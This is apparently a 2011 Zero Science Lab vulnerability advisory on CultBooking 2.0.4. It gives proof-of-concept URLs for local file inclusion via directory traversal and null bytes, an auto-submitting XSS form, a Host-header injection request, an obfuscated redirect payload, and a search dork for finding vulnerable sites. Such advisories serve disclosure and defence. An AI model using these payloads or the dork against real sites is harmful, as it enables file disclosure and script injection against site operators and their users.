cultbooking 2.0.4 – Multiple Vulnerabilities
CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability Vendor: Cultuzz Digital Media GmbH Product web page: http://www.cultuzz.com Affected version: 2.0.4 Summary: Open source hotel booking system (Internet Booking Engine (IBE)). Via a central api called CultSwitch it is possible to make bookings and set the actual availabilities in the hotels pms. This is easy to install and easy to integrate with full support. Desc: CultBooking suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability when input passed thru the 'lang' parameter to cultbooking.php script is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes. ~ Conditional on 'magic_quotes_gpc=off'. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2011-4988 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4988.php 16.01.2011 Dork: "inurl:cultbooking.php" http://1.1.1.2/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00 http://1.1.1.2/cultbooking.php?lang=../../../boot.ini%00 <!-- CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities Vendor: Cultuzz Digital Media GmbH Product web page: http://www.cultuzz.com Affected version: 2.0.4 Summary: Open source hotel booking system (Internet Booking Engine (IBE)). Via a central api called CultSwitch it is possible to make bookings and set the actual availabilities in the hotels pms. This is easy to install and easy to integrate with full support. Desc: CultBooking Hotel Booking System suffers from a XSS/PD vulnerability when parsing user input to the 'bookingcode', 'email' and 'lang' parameter via POST and GET methods in cultbooking.php script. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2011-4987 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4987.php 16.01.2011 --> Dork: "inurl:cultbooking.php" <script type="text/javascript">function xss1(){document.forms["xss"].submit();}</script> <form action="http://1.1.1.2/cultbooking.php" enctype="application/x-www-form-urlencoded" id="xss" method="POST"> <input type="hidden" name="agentsine" value="10492"> <input type="hidden" name="agentdutycode" value ="1429741cfe1700d7"> <input type="hidden" name="lang" id="lang" value="en"> <input type="hidden" name="hcode" value="11225"> <input type="hidden" name="action" value="cancelbooking"> <input type="hidden" name="email" value='"><script>alert(2)</script>' /> <input type="hidden" name="bookingcode" value='"><script>alert(1)</script>' /> </form> <a href="javascript: xss1();" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit!<h3></center></font></b></a> http://1.1.1.2/cultbooking.php?lang=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E HTML Injection via Header Attack: --------------------------------------------------------------------- POST http://1.1.1.2/cultbooking.php HTTP/1.1 Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED" Content-Length: 19 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1 Accept-Encoding: gzip,deflate Keep-Alive: 50 Connection: Keep-Alive action=cancellation --------------------------------------------------------------------- Affected Header variable: Host magic quotes bypass redirect: http://1.1.1.2/cultbooking.php?lang="><script>document.location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46, 109, 107);</script> |